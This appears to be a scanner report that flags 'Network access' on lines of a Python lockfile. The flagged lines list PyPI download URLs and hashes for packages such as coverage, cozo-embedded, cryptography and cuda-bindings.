{ url = "https://files.pythonhosted.org/packages/a0/f5/3570342900f2acea31d33ff1590c5d8bac1a8e1a2e1c6d34a5d5e61de681/coverage-7.14.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:45899ec2138a4346ed34d601dedf5076fb74edf2d1dd9dc76a78 - Network accessline 289
{ url = "https://files.pythonhosted.org/packages/16/29/de1bbc01c935b28f89b1dc3db85b011c055e843a8e5e3b83141c3f80af7f/coverage-7.14.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8767486808c436f05b23ab98eb963fb29185e32a9357a166971685c - Network accessline 290
{ url = "https://files.pythonhosted.org/packages/35/95/f53890b0bf2fc10ab168e05d38869215e73ca24c4cb521c3bb0eb62fe16b/coverage-7.14.0-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a3b5ddfd6aa7ddad53ee3edb231e88a2151507a43229b7d71b95 - Network accessline 291
{ url = "https://files.pythonhosted.org/packages/ed/ea/c919e259081dd2bdf0e43b87209709ba7ec2e4117c2a7f5185379c43463c/coverage-7.14.0-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:63df0fe568e698e1045792399f8ab6da3a6c2dce3182813fb92a - Network accessline 292
{ url = "https://files.pythonhosted.org/packages/1a/2c/c2831889705a81dc5d1c6ca12e4d8e9b95dfc146d153488a6c0ea685d28e/coverage-7.14.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:827d6397dbd95144939b18f89edf31f63e1f99633e8d5f32f22ba - Network accessline 293
{ url = "https://files.pythonhosted.org/packages/5a/a9/2fcae5003cac3d63fe344d2166243c2756935f48420863c5272b240d550b/coverage-7.14.0-cp313-cp313t-win32.whl", hash = "sha256:7bf43e000d24012599b879791cff41589af90674722421ef11b11a5431920bab", s - Network accessline 294
{ url = "https://files.pythonhosted.org/packages/3f/bb/18e94d7b14b9b398164197114a587a04ab7c9fdbe1d237eef57311c5e883/coverage-7.14.0-cp313-cp313t-win_amd64.whl", hash = "sha256:3f5549365af25d770e06b1f8f5682d9a5637d06eb494db91c6fa75d3950cc917 - Network accessline 295
{ url = "https://files.pythonhosted.org/packages/db/56/4f14fad782b035c81c4ffd09159e7103d42bb1d93ac8496d04b90a11b7da/coverage-7.14.0-cp313-cp313t-win_arm64.whl", hash = "sha256:6d160217ec6fe890f16ad3a9531761589443749e448f91986c972714fad361c8 - Network accessline 296
{ url = "https://files.pythonhosted.org/packages/1c/18/b9a6586d73992807c26f9a5f274131be3d76b56b18a82b9392e2a25d2e45/coverage-7.14.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:9aed9fa983514ca032790f3fe0d1c0e42ca7e16b42432af1706b50a - Network accessline 297
{ url = "https://files.pythonhosted.org/packages/f3/9b/4165a1d56ddc302a0e2d518fd9d412a4fd0b57562618c78c5f21c57194f5/coverage-7.14.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:ba3b8390db29296dbbf49e91b6fe08f990743a90c8f447ba4c2ffc296 - Network accessline 298
{ url = "https://files.pythonhosted.org/packages/69/aa/c12e52a5ba148d9995229d557e3be6e554fe469addc0e9241b2f0956d8ea/coverage-7.14.0-cp314-cp314-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:3a5d8e876dfa2f102e97 - Network accessline 299
{ url = "https://files.pythonhosted.org/packages/d7/51/ec641c26e6dca1b25a7d2035ba6ecb7c884ef1a100a9e42fbe4ce4405139/coverage-7.14.0-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:5ebb8f4614a378 - Network accessline 300
{ url = "https://files.pythonhosted.org/packages/33/c4/59c3de0bd1b538824173fd518fed51c1ce740ca5ed68e74545983f4053a9/coverage-7.14.0-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:6b9bf47 - Network accessline 301
{ url = "https://files.pythonhosted.org/packages/7b/a9/36dfa153a62040296f6e7febfdb20a5720622f6ef5a81a41e8237b9a5344/coverage-7.14.0-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:3485a83 - Network accessline 302
{ url = "https://files.pythonhosted.org/packages/26/7b/cc2c048d4114d9ab1c2409e9ee365e5ae10736df6dffcfc9444effa6c708/coverage-7.14.0-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:3e7e88110bae996d199d1693ca8ec - Network accessline 303
{ url = "https://files.pythonhosted.org/packages/ee/df/6770eaa576e604575e9a78055313250faef5faa84bd6f71a39fece519c43/coverage-7.14.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:15228a6800ce7bdf1b74800595e56db7138cecb338fdbf044806e - Network accessline 304
{ url = "https://files.pythonhosted.org/packages/ad/9e/1c0264514a3f98259a6d64765a397b2c8373e3ba59ee722a4802d3ec0c61/coverage-7.14.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:9d26ac7f5398bafc5b57421ad994e8a4749e8a7a0e62d05ec7d53014 - Network accessline 305
{ url = "https://files.pythonhosted.org/packages/64/16/4efdf3e3c4079cdbf0ece56a2fea872df9e8a3e15a13a0af4400e1075944/coverage-7.14.0-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:2fb73254ff43c911c967a899e1359bc5049b4b115d6e8fbdde493 - Network accessline 306
{ url = "https://files.pythonhosted.org/packages/93/69/b1de96346603881b3d1bc8d6447c83200e1c9700ffbaff926ba01ff5724c/coverage-7.14.0-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:454a380af72c6adada298ed270d38c7a391288198dbfb8467f786 - Network accessline 307
{ url = "https://files.pythonhosted.org/packages/a4/66/2881853e0363a5e0a724d1103e53650795367471b6afb234f8b49e713bc6/coverage-7.14.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:65c86fb646d2bd2972e96bd1a8b45817ed907cee68655d6295fe7e - Network accessline 308
{ url = "https://files.pythonhosted.org/packages/55/5c/0d3305d002c41dcde873dbe456491e663dc55152ca526b630b5c47efd62f/coverage-7.14.0-cp314-cp314-win32.whl", hash = "sha256:6a6516b02a6101398e19a3f44820f69bab2590697f7def4331f668b14adaf828", si - Network accessline 309
{ url = "https://files.pythonhosted.org/packages/f9/58/6e1b8f52fdc3184b47dc5037f5070d83a3d11042db1594b02d2a44d786c8/coverage-7.14.0-cp314-cp314-win_amd64.whl", hash = "sha256:45e0f79d8351fa76e256716df91eab12890d32678b9590df7ae1042e4bd4cf5d" - Network accessline 310
{ url = "https://files.pythonhosted.org/packages/00/70/a18c408e674bc26281cadaedc7351f929bd2094e191e4b15271c30b084cc/coverage-7.14.0-cp314-cp314-win_arm64.whl", hash = "sha256:4b899594a8b2d81e5cc064a0d7f9cac2081fed91049456cae7676787e41549c9" - Network accessline 311
{ url = "https://files.pythonhosted.org/packages/3d/89/2681f071d238b62aff8dfc2ab44fc24cfdb38d1c01f391a80522ff5d3a16/coverage-7.14.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:f580f8c80acd94ac72e863efe2cab791d8c38d153e0b463b92dfa0 - Network accessline 312
{ url = "https://files.pythonhosted.org/packages/bd/c7/c987babafd9207ffa1995e1ef1f9b26762cf4963aa768a66b6f0501e4616/coverage-7.14.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:a2bd259c442cd43c49b30fbafc51776eb19ea396faf159d26a83e6a0 - Network accessline 313
{ url = "https://files.pythonhosted.org/packages/5a/e9/d6a5ac3b333088143d6fc877d398a9a674dc03124a2f776e131f03864823/coverage-7.14.0-cp314-cp314t-manylinux1_i686.manylinux_2_28_i686.manylinux_2_5_i686.whl", hash = "sha256:a706b908dfa85538863 - Network accessline 314
{ url = "https://files.pythonhosted.org/packages/38/b1/e70838d29a7c08e22d44398a46db90815bbcbf28de06992bd9210d1a8d8e/coverage-7.14.0-cp314-cp314t-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:7333cd944ee43 - Network accessline 315
{ url = "https://files.pythonhosted.org/packages/6b/73/5c31ef97763288d03d9995152b96d5475b527c63d91c84b01caea894b83a/coverage-7.14.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0f162b - Network accessline 316
{ url = "https://files.pythonhosted.org/packages/e1/76/dd56d80f29c5f05b4d76f7e7c6d47cafacae017189c75c5759d24f9ff0cc/coverage-7.14.0-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:362cb7 - Network accessline 317
{ url = "https://files.pythonhosted.org/packages/6e/c7/27ba85cd5b95614f159ff93ebff1901584a8d192e2e5e24c4943a7453f59/coverage-7.14.0-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:acebd068fca5512c3a6fde9c045f - Network accessline 318
{ url = "https://files.pythonhosted.org/packages/13/2e/e8149f60ab5d5684c6eee881bdf34b127115cddbb958b196768dd9d63473/coverage-7.14.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:29fe3da551dface75deb2ccbf87b6b66e2e7ef38f6d89050b428 - Network accessline 319
{ url = "https://files.pythonhosted.org/packages/d9/7f/1261b025285323225f4b4abffa5a643649dfd67e25ddca7ebcbdea3b7cb3/coverage-7.14.0-cp314-cp314t-musllinux_1_2_i686.whl", hash = "sha256:b4cc4fce8672fffcb09b0eafc167b396b3ba53c4a7230f54b7aaffb - Network accessline 320
{ url = "https://files.pythonhosted.org/packages/d3/dc/829c54f60b9d08389439c00f813c752781c496fc5788c78d8006db4b4f2b/coverage-7.14.0-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:5d4a51aad8ba8bdcd2b8bd8f03d4aca19693fa2327a3470e4718 - Network accessline 321
{ url = "https://files.pythonhosted.org/packages/ed/b0/70bd1419941652fa062689cba9c3eeafb8f5e6fbb890bce41c3bdda5dbd6/coverage-7.14.0-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:9f323af3e1e4f68b60b7b247e37b8515563a61375518fa59de1a - Network accessline 322
{ url = "https://files.pythonhosted.org/packages/f2/73/be40b2390656c654d35ea0015ea7ba3d945769cf80790ad5e0bb2d56d2ba/coverage-7.14.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1a0abc7342ea9711c469dd8b821c6c311e6bc6aac1442e5fbd6b2 - Network accessline 323
{ url = "https://files.pythonhosted.org/packages/29/55/4a643f712fcf7cf2881f8ec1e0ccb7b164aff3108f69b51801246c8799f2/coverage-7.14.0-cp314-cp314t-win32.whl", hash = "sha256:a9f864ef57b7172e2db87a096642dd51e179e085ab6b2c371c29e885f65c8fb2", s - Network accessline 324
{ url = "https://files.pythonhosted.org/packages/27/96/3acae5da0953be042c0b4dea6d6789d2f080701c77b88e44d5bd41b9219b/coverage-7.14.0-cp314-cp314t-win_amd64.whl", hash = "sha256:29943e552fdc08e082eb51400fb2f58e118a83b5542bd06531214e084399b644 - Network accessline 325
{ url = "https://files.pythonhosted.org/packages/93/3d/6ab5d2dd8325d838737c6f8d83d62eb6230e0d70b87b51b57bbfd08fa767/coverage-7.14.0-cp314-cp314t-win_arm64.whl", hash = "sha256:742a73ea621953b012f2c4c2219b512180dd84489acf5b1596b0aafc55b9100b - Network accessline 326
{ url = "https://files.pythonhosted.org/packages/61/e8/cb8e80d6f9f55b99588625062822bf946cf03ed06315df4bd8397f5632a1/coverage-7.14.0-py3-none-any.whl", hash = "sha256:8de5b61163aee3d05c8a2beab6f47913df7981dad1baf82c414d99158c286ab1", size = - Network accessline 330
name = "cozo-embedded" version = "0.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 331
version = "0.3.0" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - Network accessline 332
source = { registry = "https://pypi.org/simple" } - Network accessline 337
] wheels = [ { url = "https://files.pythonhosted.org/packages/38/be/d6cdf495fc73ce2506c66a4078c35f28f9f340ca57e460d0af74832f7c08/cozo_embedded-0.3.0-cp37-abi3-macosx_10_14_x86_64.whl", hash = "sha256:5e8f5904ba37220daf59fec42f53880ceefb - Network accessline 338
wheels = [ { url = "https://files.pythonhosted.org/packages/38/be/d6cdf495fc73ce2506c66a4078c35f28f9f340ca57e460d0af74832f7c08/cozo_embedded-0.3.0-cp37-abi3-macosx_10_14_x86_64.whl", hash = "sha256:5e8f5904ba37220daf59fec42f53880ceefb89 - Network accessline 339
{ url = "https://files.pythonhosted.org/packages/38/be/d6cdf495fc73ce2506c66a4078c35f28f9f340ca57e460d0af74832f7c08/cozo_embedded-0.3.0-cp37-abi3-macosx_10_14_x86_64.whl", hash = "sha256:5e8f5904ba37220daf59fec42f53880ceefb89d152c1d096229b9 - Network accessline 340
{ url = "https://files.pythonhosted.org/packages/a7/23/575b6fb7ed14910231668b6893d7b20ad02d4c35949332d01a52e818ea3f/cozo_embedded-0.3.0-cp37-abi3-macosx_11_0_arm64.whl", hash = "sha256:d8a294ce0a15f89c75120ad22df9433769272a5b3bc8fb0b07254fa - Network accessline 341
{ url = "https://files.pythonhosted.org/packages/d1/21/885e077de1ddcb28743594dd15e77d8c63f83bfee365140fddef115a0ad5/cozo_embedded-0.3.0-cp37-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bed5802ee316d78da5f520a28d5204 - Network accessline 342
{ url = "https://files.pythonhosted.org/packages/1d/e8/82ab8677e1fb8811fcfa2dafb50f9a0e6c44a4f558365c9587694289e61b/cozo_embedded-0.3.0-cp37-abi3-win_amd64.whl", hash = "sha256:53860bfbe73897b92ecfb1a9c520b6b3a784b5bbeed0d8de29e027fd186498d - Network accessline 346
name = "cozo-embedded" version = "0.7.6" source = { registry = "https://pypi.org/simple" } - Network accessline 347
version = "0.7.6" source = { registry = "https://pypi.org/simple" } resolution-markers = [ - Network accessline 348
source = { registry = "https://pypi.org/simple" } - Network accessline 353
] wheels = [ { url = "https://files.pythonhosted.org/packages/15/bf/19020af2645d8ea398e719bce8fcf7a91c341467aed9804c6d5f6ac878c2/cozo_embedded-0.7.6-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80de7955413 - Network accessline 354
wheels = [ { url = "https://files.pythonhosted.org/packages/15/bf/19020af2645d8ea398e719bce8fcf7a91c341467aed9804c6d5f6ac878c2/cozo_embedded-0.7.6-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80de795541386 - Network accessline 355
{ url = "https://files.pythonhosted.org/packages/15/bf/19020af2645d8ea398e719bce8fcf7a91c341467aed9804c6d5f6ac878c2/cozo_embedded-0.7.6-cp37-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80de79554138628967d4fd2636fc - Network accessline 359
name = "cryptography" version = "50.0.0" source = { registry = "https://pypi.org/simple" } - Network accessline 360
version = "50.0.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 361
source = { registry = "https://pypi.org/simple" } - Network accessline 363
{ name = "cffi", marker = "platform_python_implementation != 'PyPy'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/de/41/6cbdcf9142d00fe82836fbb51e503e58088575cf7a0fe1dbff6695bf0840/cryptography-50.0.0.tar.gz", hash = "sha25 - Network accessline 364
] sdist = { url = "https://files.pythonhosted.org/packages/de/41/6cbdcf9142d00fe82836fbb51e503e58088575cf7a0fe1dbff6695bf0840/cryptography-50.0.0.tar.gz", hash = "sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9", siz - Network accessline 365
sdist = { url = "https://files.pythonhosted.org/packages/de/41/6cbdcf9142d00fe82836fbb51e503e58088575cf7a0fe1dbff6695bf0840/cryptography-50.0.0.tar.gz", hash = "sha256:eeac2acb5a20ed25e0ad6d1df9891a520b78b404266b6d11778f25d5d691a6c9", size - Network accessline 366
wheels = [ { url = "https://files.pythonhosted.org/packages/c5/5c/59086b4aac5e879d38ddbcf74e4be7ade89cebc3eb199a55da998c3bb46a/cryptography-50.0.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae68023 - Network accessline 367
{ url = "https://files.pythonhosted.org/packages/c5/5c/59086b4aac5e879d38ddbcf74e4be7ade89cebc3eb199a55da998c3bb46a/cryptography-50.0.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:031e2d5dd4bb9caa3ca9c82e5a197fd8ae680232cee62603d1a813 - Network accessline 368
{ url = "https://files.pythonhosted.org/packages/57/ef/8f2df13c7216bcad3e1c74e07f6e193d93e998e114f524a53877c9af27ad/cryptography-50.0.0-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:fd9192b7b70c573d7f214eb1ae3 - Network accessline 369
{ url = "https://files.pythonhosted.org/packages/d9/41/029086c34d91052fc3b88bcc8056f709a7c915c7a23b235a54eb800b1c97/cryptography-50.0.0-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:06a32a980526a6ab9a4b9bf8f7385 - Network accessline 370
{ url = "https://files.pythonhosted.org/packages/7d/ff/b6ce0954962e7f7b969f850a883744197bb3910bdfd7b6da162eab7d9f68/cryptography-50.0.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:a1b30560f2acc95aa8b2e06e716a13dbfc97314747b80d970 - Network accessline 371
{ url = "https://files.pythonhosted.org/packages/06/1e/63a1027cb7fec360a182208e1b7767d5aa1fe57be3d6aa856e69a321edc0/cryptography-50.0.0-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:8d89f3976b10b4ce31118de72329025f70d2c6ead14a8217c - Network accessline 372
{ url = "https://files.pythonhosted.org/packages/6b/72/a1116d683a6d7ece94590013882515de087edf9ef0e6292aae615a44df73/cryptography-50.0.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:b42a28c1844fd9de8f3f7d540e36b66f3a9c83fceac7170ebc - Network accessline 373
{ url = "https://files.pythonhosted.org/packages/15/37/36a9c479bbe49acea2636c7fd3360d20f7b7e079c300352011c44850b181/cryptography-50.0.0-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:900131fafd8aead39ac7dd3a7e833be754c17a95cfd9122163 - Network accessline 374
{ url = "https://files.pythonhosted.org/packages/32/98/8a151d64367204cbc63ec65d37502f1d9c53cf4bfc6ec3c532614dbec60d/cryptography-50.0.0-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:07949c449a1abcf60d1ee6e88956d89404c7df3c8258f4658 - Network accessline 375
{ url = "https://files.pythonhosted.org/packages/22/f6/ec13b470172126464a86bf54d2294a46d29837fc51ba3e45d4047946fb5e/cryptography-50.0.0-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:f89831ef99dd7dd169ab06d63a831adb9e20a87aac6d38026 - Network accessline 376
{ url = "https://files.pythonhosted.org/packages/da/3a/f05e32c99d440c9bb891ea0e36c9091891e36be5a9a87ab2ee6ea20729f6/cryptography-50.0.0-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:82148ec5bddac30b51a5b3c1945075f896fa022cb93f8e4a01 - Network accessline 377
{ url = "https://files.pythonhosted.org/packages/ca/dc/bd72b26be8953f80625f63151efd38eee71c76ca6cf591c08ff34615a79e/cryptography-50.0.0-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:1489e263a8048bb8b6a8bac662eb2d402ea5d2b7b4699b72f3 - Network accessline 378
{ url = "https://files.pythonhosted.org/packages/27/20/c930314a2ab476d15dec966ec87e2e9637bb02b06106b12c0396c57bb603/cryptography-50.0.0-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:7cec5b856506da6defb290f30c9ee687d5f5e8cb0bd3f6459dd - Network accessline 379
{ url = "https://files.pythonhosted.org/packages/32/2e/c9db68a0c4bfa28e310707527c0ee3a2bd254104d2e02e68f368e197aa4c/cryptography-50.0.0-cp311-abi3-win_amd64.whl", hash = "sha256:bd1c592e4d5974f0d08d4888e432157adba757c66da0246918e43677fafa2d - Network accessline 380
{ url = "https://files.pythonhosted.org/packages/c3/fb/951032a3bf22a5697c83183fb6294a4843772947a70e616c57b3ff5f522e/cryptography-50.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:49e7d93abdbd2990caced757e5fade25302f719c3c8fb6e6fff2 - Network accessline 381
{ url = "https://files.pythonhosted.org/packages/d4/67/91eb047e69c5e845f2f14b8a2e4a1aab0f283cb885531e9e22c8adb176bc/cryptography-50.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:19736989797678c6af1e55cd4 - Network accessline 382
{ url = "https://files.pythonhosted.org/packages/30/82/85f0f7425c856b9f96459411eb12e74ef72df9caf6f8f15bf23a33ff131f/cryptography-50.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:80b63928fa35083b33966ce1efb - Network accessline 383
{ url = "https://files.pythonhosted.org/packages/1a/28/b555a365adff1cca2fbe7b9e487d68a40de6bc67ff2cb587473eb43de0e7/cryptography-50.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:d58c3db7cd6eed54e6c06744db55456b65ebd7492ddeae9 - Network accessline 384
{ url = "https://files.pythonhosted.org/packages/72/d8/f52538140cc719df62a01cf87d1c7142318d235817109d6f4054d7c352d6/cryptography-50.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:df2a58a472f332225671c35b0a830208b86d004f82baa85 - Network accessline 385
{ url = "https://files.pythonhosted.org/packages/38/14/6120e5bd7c5aa022ad15424ba4d5c5269d0d9448ed4d55e492ea91e3c1c4/cryptography-50.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:11b74db56cdbe3cdee6e3f6982ecb70334fa10dce99ed58b - Network accessline 386
{ url = "https://files.pythonhosted.org/packages/fa/71/190bf38c3ee2e0f8efc9860ae100c9df4169742eef274b91e7aa1cb133b9/cryptography-50.0.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f59e38625469987d7ef6d495323c55e7db6c212eaf611226 - Network accessline 387
{ url = "https://files.pythonhosted.org/packages/3a/63/504ccfbbe61fd8aa983f7f146399cdf034c72c2fc55f5b2dfdcdcdb20c99/cryptography-50.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:ecfed7367f965a0328cfbdd70da860f15441f002f613185 - Network accessline 388
{ url = "https://files.pythonhosted.org/packages/01/77/2cf79bbfc4d12ca106437a6e170d6aaa01a373e93093118aaaef0e801bd4/cryptography-50.0.0-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:9aa87839c383bdbab6ef865787a1fb877af8dd03464c440 - Network accessline 389
{ url = "https://files.pythonhosted.org/packages/e5/45/8aae2972c520145377ea3559a605a899bebe227bf070b33cdb445929a9b9/cryptography-50.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:6ba6a53445bd3cfa809ef3ef5f1589aa6ba08784a1d962bf - Network accessline 390
{ url = "https://files.pythonhosted.org/packages/7b/20/4fe50b619a48c2525cc46e2dbc1ac490708d704be5d467bdaac6dc955682/cryptography-50.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:3f5735ffe4996d28b809371756219f5354864902a3b9e7c0 - Network accessline 391
{ url = "https://files.pythonhosted.org/packages/92/91/3a31366e183343d3703f8995c095f5734676bd6938118047e50fcf279eb4/cryptography-50.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:1b4a266766514614f8aa60416e71f2fc6e575d36e7bdc90f6 - Network accessline 392
{ url = "https://files.pythonhosted.org/packages/74/9a/02ffe35b2853d121689871eb5dce862092562b3a1ed5cc98f1aaed441506/cryptography-50.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:12b9c6996425c76ea6c457ace4f3073e715b8c545add07cd1a8f3a4f9069 - Network accessline 393
{ url = "https://files.pythonhosted.org/packages/03/37/73d005be173aff344af30e9fd2a576575cb2391a7101d9cd3842e1fa8cce/cryptography-50.0.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:ccdc4a71a4dabae05de219404f9f4abc38e3b58422177ff93d0da05 - Network accessline 394
{ url = "https://files.pythonhosted.org/packages/ff/c6/7a6202a534e32103a285b7834a120869557fe198d51d7cfe59754c8bda9c/cryptography-50.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:910e1d2668e7de9648f2bcee30e1 - Network accessline 395
{ url = "https://files.pythonhosted.org/packages/85/4f/0fa8c2f4428198f15d9ff8d63400e27afbf94ce833f6108da1eb3753f945/cryptography-50.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:a91296cb61e8df6f86d0c19cc40682 - Network accessline 396
{ url = "https://files.pythonhosted.org/packages/d1/63/54dd723490ba2dc09b299682c10b38db38f159728bcaae8c591b8af2f22d/cryptography-50.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:e722f16708d854fe924790e051061f6704a472c3bac347b6fd - Network accessline 397
{ url = "https://files.pythonhosted.org/packages/1d/dd/7c77d26285cc7f6991efce64a0f5b4f9383bfa5dd8c5033003eaf7db4cdb/cryptography-50.0.0-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:d764dcf130c428ef66786f866dd750f53182bc608813489915 - Network accessline 398
{ url = "https://files.pythonhosted.org/packages/46/c9/f60aed34c013f317f92817b6c171c2d22a78270fa41109bd4b08af26b194/cryptography-50.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:105110f43a471dbd0060b9c9516cb8a6a79233631a04cc2ba16 - Network accessline 399
{ url = "https://files.pythonhosted.org/packages/be/f3/f9a0173b139372c3a48ed98154b45cc6b9de17c789d5ab552e621c293609/cryptography-50.0.0-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:828743d939e9629bc267b8e2d08d8bb67cd4319c771a33d4b18 - Network accessline 400
{ url = "https://files.pythonhosted.org/packages/d8/36/83bb81f6e569bc38e1e4a7bc80f29b46bb9601920bc455fc8e888f5d5742/cryptography-50.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:2a8183b489dc1f7f80f135780fadc1108f14b31b8a40411c7a - Network accessline 401
{ url = "https://files.pythonhosted.org/packages/6b/16/d3008eff98c764979865834c3d386d4fd041b5f52e7f34fc29ac1a5eb515/cryptography-50.0.0-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:6e7d61120573a7f2cd94cc095f9e81f6967c61ccdf194285aa - Network accessline 402
{ url = "https://files.pythonhosted.org/packages/9c/f8/d97f9603efda3888187bfdb893f26c41be4735c10631d05d284ee6b047c4/cryptography-50.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:37fdb0d0111f1e2ff07139dfb79f1b49531f8e213c46f1163dd - Network accessline 403
{ url = "https://files.pythonhosted.org/packages/64/a2/4615c8f7d81a00b1d6e6afe19f694e1543582349fb5f4076f6cb5dc36485/cryptography-50.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:c87f62a3d3b9888ed0fdde100ec06aa61ca9cd44bad9057d1df - Network accessline 404
{ url = "https://files.pythonhosted.org/packages/d2/1a/efcfb02f91407149a0dacffffab791f7e19bf6385f63b3666dc8b5e5c9c8/cryptography-50.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:65c2c3add92b45fd0709db8594536aea39c2a67af0e27ffcf049 - Network accessline 405
{ url = "https://files.pythonhosted.org/packages/57/30/4a22984d4f1bdfb8c054f07a92bc176b97a3134cc1d6c4b3bffb1f3688b4/cryptography-50.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:d24fead1d4d076e1bfb006dcec392074a3cd8d7b4fc8a595aa64073b2b7a96b - Network accessline 409
name = "cuda-bindings" version = "13.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 410
version = "13.2.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 411
source = { registry = "https://pypi.org/simple" } - Network accessline 414
] wheels = [ { url = "https://files.pythonhosted.org/packages/52/c8/b2589d68acf7e3d63e2be330b84bc25712e97ed799affbca7edd7eae25d6/cuda_bindings-13.2.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e865447 - Network accessline 415
wheels = [ { url = "https://files.pythonhosted.org/packages/52/c8/b2589d68acf7e3d63e2be330b84bc25712e97ed799affbca7edd7eae25d6/cuda_bindings-13.2.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e865447ab - Network accessline 416
{ url = "https://files.pythonhosted.org/packages/52/c8/b2589d68acf7e3d63e2be330b84bc25712e97ed799affbca7edd7eae25d6/cuda_bindings-13.2.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e865447abfb83d6a98ad5130 - Network accessline 417
{ url = "https://files.pythonhosted.org/packages/1f/92/f899f7bbb5617bb65ec52a6eac1e9a1447a86b916c4194f8a5001b8cde0c/cuda_bindings-13.2.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:46d8776a55d6d5da9dd6e9858f - Network accessline 418
